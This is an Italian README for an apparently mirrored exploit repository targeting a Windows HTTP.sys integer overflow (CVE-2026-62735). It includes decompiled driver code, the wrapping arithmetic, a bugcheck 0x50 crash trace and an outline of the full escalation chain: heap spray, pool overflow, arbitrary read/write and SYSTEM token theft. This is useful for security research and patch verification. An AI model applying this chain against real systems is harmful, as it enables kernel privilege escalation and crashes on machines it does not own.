
Exploit di escalation dei privilegi locali per l'integer overflow di HTTP.sys su Windows (CVE-2026-62735), che dimostra il crash e una shell SYSTEM completa tramite overflow del pool non paginato. Per test autorizzati.
Integer Overflow. Con questa vulnerabilità, abbiamo la primitiva Heap Overflow -> SYSTEM shell.Integer Overflowhttp.sysUlpCreateInternalResponseOldhttp.sys alloca memoria in base a TotalHeaderBytes, anche se gli header richiedono un buffer molto più grande. Questo fornisce la base per l'overflow dell'allocazione del pool non-paged in UlGenerateMultipleKnownHeadersOld:__int64 __fastcall UlpCreateInternalResponseOld(
sv_UL_REQUEST *Request,
unsigned __int16 EntityChunkCount,
unsigned int FixedHeaderCount,
unsigned int FixedHeaderBytes,
unsigned int MultipleHeaderCount,
unsigned int MultipleHeaderBytes,
unsigned __int16 KnownHeaderCount,
unsigned int TrailerCount,
unsigned int TrailerBytes,
char FastForwardRequested,
char CacheEligible,
char ResponseInfoPresent,
char AutomaticChunkingRequired,
char AdditionalHeaderRequired,
sv_UL_INTERNAL_RESPONSE **InternalResponseOut)
{
int VariableHeaderBytes; // r9d
int H3ExtraHeaderBytes; // r10d
unsigned int MultipleHeaderBytesLocal; // ecx
unsigned int TotalHeaderBytes; // [rsp+E8h] [rbp+60h]
...
// 0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e
TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes;
...
}
*** Fatal System Error: 0x00000050
(0xFFFFCD86AE712000,0x0000000000000002,0xFFFFF807489C4362,0x0000000000000002)
Driver at fault:
*** HTTP.sys - Address FFFFF807489C4362 base at FFFFF80748860000, DateStamp 2bfcaa4c
.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`b26fa0d0 cc int 3
0: kd> k
# Child-SP RetAddr Call Site
00 ffffe205`092ddf78 fffff807`b27afcf2 nt!DbgBreakPointWithStatus
01 ffffe205`092ddf80 fffff807`b27af21e nt!KiBugCheckDebugBreak+0x12
02 ffffe205`092ddfe0 fffff807`b26f9357 nt!KeBugCheck2+0xb2e
03 ffffe205`092de770 fffff807`b24fd030 nt!KeBugCheckEx+0x107
04 ffffe205`092de7b0 fffff807`b2443c56 nt!MiSystemFault+0x850
05 ffffe205`092de8a0 fffff807`b28badcb nt!MmAccessFault+0x646
06 ffffe205`092dea10 fffff807`489c4362 nt!KiPageFault+0x38b
07 ffffe205`092deba8 fffff807`489a6611 HTTP!memcpy+0x122
08 ffffe205`092debb0 fffff807`4897c165 HTTP!UlGenerateMultipleKnownHeadersOld+0xbdd
09 ffffe205`092ded90 fffff807`48976db0 HTTP!UlpPrepareHttpResponseOld+0x2c9
0a ffffe205`092dee70 fffff807`489361a4 HTTP!UlCaptureHttpResponseOld+0x92c
0b ffffe205`092defc0 fffff807`488f7c92 HTTP!UlSendHttpResponseIoctlOld+0x1160
0c ffffe205`092df600 fffff807`488c4db5 HTTP!UlSendHttpResponseIoctl+0x12
0d ffffe205`092df630 fffff807`b245cabb HTTP!UxDeviceControl+0xb5
0e ffffe205`092df670 fffff807`b245ca33 nt!IopfCallDriver+0x5b
0f ffffe205`092df6b0 fffff807`b2ac0e75 nt!IofCallDriver+0x13
10 ffffe205`092df6e0 fffff807`b2abfcbc nt!IopSynchronousServiceTail+0x1c5
11 ffffe205`092df790 fffff807`b2abf30e nt!IopXxxControlFile+0x99c
12 ffffe205`092dfa00 fffff807`b28bf255 nt!NtDeviceIoControlFile+0x5e
13 ffffe205`092dfa70 00007ffa`d37c0144 nt!KiSystemServiceCopyEnd+0x25
14 00000014`0d9af2d8 00007ffa`d08a3953 ntdll!NtDeviceIoControlFile+0x14
15 00000014`0d9af2e0 00007ffa`d1f93335 KERNELBASE!DeviceIoControl+0x73
16 00000014`0d9af350 00007ff7`00cb1cb4 KERNEL32!DeviceIoControlImplementation+0x75
17 00000014`0d9af3a0 00000000`00001f7f poc!main+0x924
18 00000014`0d9af3a8 00000000`00000007 0x1f7f
19 00000014`0d9af3b0 00000014`0d9af4a0 0x7
1a 00000014`0d9af3b8 00000000`00000000 0x00000014`0d9af4a0
Questo repository è un'immagine di distribuzione mirror per il PoC della vulnerabilità CVE-2026-62735 (Windows HTTP.sys integer overflow → overflow del pool non-paged → SYSTEM) (le note tecniche sono nel README originale upstream sopra). Il contenuto è stato rispecchiato dal PoC pubblico upstream, solo per scopi di archiviazione e distribuzione. Il PoC è destinato esclusivamente alla ricerca sulla sicurezza, alla verifica delle vulnerabilità e ai test autorizzati; non utilizzarlo su target non autorizzati.
UlpCreateInternalResponseOld / UlGenerateMultipleKnownHeadersOld (http.sys, percorso codice legacy)0x12403F (UlSendHttpResponseIoctl)Principio fondamentale: TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes — quando i byte degli header di risposta multi-valore vengono costruiti vicino a 2³², questa somma a 32 bit si avvolge a un valore minimo (0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e), ExAllocatePool3 alloca quindi un buffer del kernel molto più piccolo del necessario, e successivamente la memcpy in UlGenerateMultipleKnownHeadersOld scrive oltre i limiti di quel blocco del pool non-paged.
poc/ poc.cpp + head.hpp —— exploit completo: heap spray DQE con named pipe → overflow del pool che controlla l'header 0x30 → lettura/scrittura arbitraria → copia del token SYSTEM → shell SYSTEM
crash/ poc.cpp + head.hpp —— solo trigger di crash (verifica l'esistenza della vulnerabilità, trigger bugcheck 0x50)
crash/ e poc/ sono entrambi eseguibili indipendenti; l'esecuzione riuscita di poc.exe aprirà una shell SYSTEMQuesto PoC è destinato esclusivamente a scopi didattici, di ricerca sulla sicurezza e di test autorizzati; può essere eseguito solo su sistemi propri o con autorizzazione esplicita. L'exploit eleva i privilegi a SYSTEM tramite overflow del pool del kernel e può causare un blue screen (0x50); testare in una macchina virtuale usa e getta.
LICENSE).